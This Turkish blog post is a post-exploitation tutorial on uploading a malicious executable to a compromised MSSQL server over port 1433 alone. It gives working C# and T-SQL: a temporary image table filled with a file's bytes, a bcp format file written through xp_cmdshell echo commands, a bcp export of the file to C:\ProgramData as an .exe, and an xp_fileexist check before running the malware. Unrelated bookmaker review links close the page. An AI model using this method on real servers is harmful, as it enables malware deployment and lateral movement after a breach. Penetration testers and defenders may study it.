• Kategori: Güvenlik
  • Eyüp ÇELİK
  • Gösterim: 1297

MSSQL Uzaktan Zararlı Yazılım Yükleme

Daha önce MS-SQL sunucuları ve Post Exploitation yöntemleri üzerine bir dizi makale yayınladım. Bu yazımda yine benzer şekilde Post Exploitation yöntemlerinin devamı olacaktır. Bazı durumlarda “sysadmin” hak ve yetkilerine sahip bir MSSQL sunucusu ele geçirildikten sonra, MSSQL sunucusundan başka sunuculara doğru atlamamız gerekir. Senaryoyu şöyle düşünelim; DMZ alanında yayın yapan ve 1433 portu dışarı açık olan bir MSSQL sunucusunun parolasını ele geçirdik. Parolasını ele geçirdiğimiz sunucuya SMB, FTP, HTTP veya benzeri bir bağlantımız yok. Hedef sunucuda sadece 1433 MSSQL portu açık durumdadır. Böylesi bir durumda öyle bir şey yapmalıyız ki, herhangi bir ek gereksinime ihtiyaç duymadan bizim bilgisayarımızdaki zararlı dosyayı alıp, hedef MSSSQL sunucusuna yüklesin.

Senaryomuz aslında oldukça basittir. Biz dosyayı seçeceğiz ve seçmiş olduğumuz bu dosya MSSQL üzerinden hedef sunucuya yüklenecektir. Bu işlemi MySQL’de yapmak oldukça kolaydır. MySQL’de “LONGBLOB” türden bir kolon oluşturulur ve içerisine byte türden okunan dosyanın verisi yazılır. Ardından “DUMPFILE” komutu ile, kolon içerisinde byte data istenilen dizine, istenilen formatta export edilir. Ancak MSSQL de durum böyle değil. DUMPFILE gibi bir komut olmadığı için istenilen veri, istenilen formatta, istenilen dizine yazılamıyor. Ayrıca Metasploit içerisinde yer alan “mssql_payload” ise oldukça yetersiz ve başarısız bir araçtır. Birçok durumda beni yarı yolda bıraktı. Bu yazımda, MSSQL sunucusunda uzaktan dosya yükleme işlemi nasıl gerçekleştireceğimize değineceğim. Teknik kısıma geçmeden önce, aşağıdaki makaleleri şiddetle okumanızı tavsiye ederim.

http://eyupcelik.com.tr/guvenlik/486-ms-sql-hacking-ve-post-exploitation-yontemleri-bolum-1

http://eyupcelik.com.tr/guvenlik/487-ms-sql-hacking-ve-post-exploitation-yontemleri-bolum-2

http://eyupcelik.com.tr/guvenlik/488-ms-sql-hacking-ve-post-exploitation-yontemleri-bolum-3

http://eyupcelik.com.tr/guvenlik/489-ms-sql-hacking-ve-post-exploitation-yontemleri-bolum-4

http://eyupcelik.com.tr/guvenlik/491-windows-server-ve-mssql-server-2016-privilege-escalation

Üstte yer alan linklerdeki yazılarda “MSSQL sunucularına sızma, Post Exploitation Yöntemleri, Hak ve Yetki Yükseltme” gibi konular işlenmektedir. İşlenen konular, bu yazının daha anlaşılır olmasını sağlayacaktır.

Bilgisayarımızda bulunan bir dosyayı MSSQL sunucusuna yüklemek için, öncelikle MSSQL sunucusunda geçici bir tablo oluşturmamız gerekiyor. Oluşturacağımız tablo, byte türünde veri yazabilmemiz için image türünde olacaktır.

IF OBJECT_ID('WarSQLiTemp') IS NOT NULL DROP TABLE WarSQLiTemp

CREATE TABLE dbo.WarSQLiTemp(binaryTable image);

Yukarıdaki kod ile “WarSQLiTemp” adında bir tablomuz mevcut ise ve tablonun içi boş değilse, tabloyu silmesini istiyoruz. Hemen sonrasında ise “WarSQLiTemp” adında bir tablo ve image türünde, binaryTable adında bir kolon oluşturuyoruz. Bu kodun, bir uygulama ile yazılmış hali ise aşağıdaki gibidir.

var cnn = new SqlConnection(conS);

var cmd = new SqlCommand();

cmd.Connection = cnn;

cmd.CommandText = "IF OBJECT_ID('WarSQLiTemp')IS NOT NULL DROP TABLE WarSQLiTemp" + Environment.NewLine + "CREATE TABLE dbo.WarSQLiTemp(binaryTable image);";

cnn.Open();

cmd.ExecuteNonQuery();

cnn.Close();

Tablomuzu oluşturduktan sonra MSSQL sunucusuna yükleyeceğimiz tüm dosyaları byte olarak okuyup, oluşturduğumuz geçici tabloya yazmamız gerekiyor. Yani; MSSQL sunucusuna yüklemek istediğimiz herhangi bir dosyayı byte[] türünden okuyarak, oluşturduğumuz geçici tabloya yazdırmamız lazım.

byte[] readFileBytes = File.ReadAllBytes(""); veya

var readFileBytes = File.ReadAllBytes("");

Bu kod ile belirttiğimiz bir dizindeki dosyanın tüm byte’larını okuyarak, dosyayı “byte[]” yada “var” türünden bir değişkene atmamız gerekiyor.

Bu işlemin ardından, bir değişkene atadığımız değeri, daha önce oluşturmuş olduğumuz tabloya yazdırmamız gerekiyor.

var cnn = new SqlConnection(conS);

var cmd = new SqlCommand();

cmd.Connection = cnn;

cmd.CommandText = "insert into WarSQLiTemp(binaryTable) values(@binaryTable)";

var dbp = new SqlParameter("@binaryTable", SqlDbType.Image);

dbp.Value = readFileBytes;

cmd.Parameters.Add(dbp);

cnn.Open();

cmd.ExecuteNonQuery();

cnn.Close();

readFileBytes” isimli değişkene doldurduğumuz değeri MSSQL’de oluşturduğumuz “WarSQLiTemp” tablosunun “binaryTable” isimli kolonuna yazdırmak için yukarıdaki kodu kullanıyoruz. Bu kod ile bir insert işlemi gerçekleştirip, tablodaki kolona, okuduğumuz dosyanın her byte’ını yazdırıyoruz.

1 byte insert

Örnek çıktımız yukarıdaki gibi olacaktır. Yukarıdaki resimde, WarSQLiTemp isimli tablonun, binaryTable isimli kolonunu sorguladığımda, daha önce yazdırmış olduğum “vncviever.exe” dosyasının hex verisi yer almaktadır.

Buraya kadar her şey güzel. Herhangi türden bir dosyayı okuyup, MSSQL server’da oluşturduğumuz geçici tabloya yazdırdık. Artık yazdırdığımız bu veriyi bozulmadan MSSQL server’daki herhangi bir dizine çıkartmamız gerekiyor. Bunun için “bcp” aracından faydalanacağız. BCP (Bulk Copy Program), MSSQL server kurulumu ile birlikte gelen, MSSQL’deki verileri belirtilen biçimde kopyalamaya yarayan bir araçtır. Microsoft bu araç için şu açıklamayı yapmaktadır. “Bcp yardımcı programı, çok sayıda yeni satırı SQL Server tablolarına içe aktarmak veya tablolardan veri dosyalarına veri dışa aktarmak için kullanılabilir.” Ayrıca bcp için en önemli husus şudur; “Verileri bir tabloya almak için, o tablo için oluşturulan bir biçim dosyası kullanmamız” gerektiğidir. Yani özetle, geçici tabloya yazdırdığımız veriyi dışarı aktarmak için bir biçim dosyasına ve dosyayı yazdırabileceğimiz, yazma izni olan bir dizine ihtiyacımız bulunmaktadır.

Oluşturduğumuz tablodaki verinin bozulmadan bcp kullanılarak bir dizine yazdırılabilmesi için, bir biçim dosyasına ihtiyacımız bulunmaktadır. Tüm dosya tipleri (exe, dll, scr, jpg, pdf, docx, xlsx vb.) için aşağıdaki biçim dosyasını kullanabiliriz.

8.0

1

1 SQLIMAGE 0 0 "" 1 binaryTable ""

Yukarıda yer alan biçim dosyası ile yüklediğimiz dosyanın herhangi bir bozulma yaşamadan MSSQL sunucusuna kaydedilmesini sağlayacağız. Bu kodu MSSQL sunucusundaki bir dizine yazdırmamız gerekmektedir. Uygulama olarak geliştireceğimiz kod aşağıdaki gibi olacaktır.

_postExploitation.ExploitCode = string.Empty;

var bcpCommand = "8.0|1|1 SQLIMAGE 0 0 \"\" 1 binaryTable \"\"";

string[] bcpCmd = bcpCommand.Split('|');

foreach (string echoCommand in bcpCmd)

{

    _postExploitation.ExploitCode = "EXEC master..xp_cmdshell 'echo " + echoCommand + " >> " + txtPath.Text + "\\bcpCommand.txt'";

    _postExploitation.RunExploit();

}

Bu kod ile biçim için kullanacağımız kodu bir foreach’e atadık. Foreach her çalıştığında “xp_cmdshell” store procedure’ü üzerinden “echo” komutu ile belirlediğimiz bir dizinde “bcpCommand.txt” adlı dosyayı oluşturup, kodumuzu ekleyecektir. Biçim dosyamızı da oluşturduktan sonra geriye bir tek bcp yardımı ile tabloyu dışarı executable bir formatta (ya da dosyanın formatı ne ise artık) dışarı aktarmamız gerekiyor.

Dikkat etmemiz gereken husus şudur; tabloya yazdırdığımız dosyayı export edebilmek için MSSQL sunucusunun yazma iznimizin olduğu bir dizine yazdırmamız gerekiyor. MSSQL Server 2008 ve sonrasındaki tüm versiyonlar ile Windows Server 2008 ve sonrasındaki tüm versiyonlarda “%UserProfile%\MSSQLSERVER” ve “C:\ProgramData” dizinlerine, en düşük hak yetkiye sahip olan “Virtual Account” dahi dosya yazdırabilmektedir. Bu yüzden export işlemini herhangi bir hata ile karşılaşmamak adına bu dizinlere yapacağız.

EXEC xp_cmdshell'bcp "select binaryTable from WarSQLiTemp" queryout "C:\ProgramData\FM8VD8GL42YK.exe" -T -f C:\ProgramData\bcpCommand.txt'

Yukarıdaki kod ile Bcp aracını kullanarak tablodaki veriyi dışarı exe olarak export edebiliriz. Kodu detaylandıracak olursak; xp_cmdshell store procedure’ünü kullanarak bcp’i çağırıyoruz. Ardından WarSQLiTemp tablosunun binaryTable kolonuna select sorgusu atarak, C:\ProgramData\bcpCommand.txt dizine daha önce kaydettiğimiz biçim dosyasını kullanarak C:\ProgramData\FM8VD8GL42YK.exe ismi ile dosyamızı oluşturuyoruz.

Dosyanın oluşturulup, oluşturulmadığını anlamak için “xp_fileexist” store procedure’ünü kullanabiliriz. Bu saklı yordamın kullanımı ise aşağıdaki gibidir.

EXEC xp_fileexist'C:\ProgramData\FM8VD8GL42YK.exe'

Üstteki komut ile, yazdırdığımız dosyayı kontrol ediyoruz. Eğer dosyayı başarılı bir şekilde kaydetmişsek, bize “1” değerini geri döndürecektir. 1 değerini elde ettiysek, artık sunucuya yüklediğimiz malware’i gidip çalıştırabiliriz.

Dip Not: Bu yöntem ile MSSQL sunucusuna herhangi bir türe sahip dosyayı uzaktan yükleyebiliriz. WarSQLiv2 için gerekli düzeltme ve güncelleme yazılmıştır. Kısa bir süre sonra, WarSQLiv2’nin yeni versiyonu ile birlikte bu özelliği kullanabileceksiniz.

Referans: https://docs.microsoft.com/en-us/sql/tools/bcp-utility

Yorum ekle


Güvenlik kodu Yenile

Bookmaker betfair Bonus review by ArtBetting.co.uk

Bookmaker bet365 review by ArtBetting.co.uk

Germany bookmaker b.artbetting.de review by ArtBetting.de

Bookmaker Greece BET365 review by ArtBetting.gr

Back to top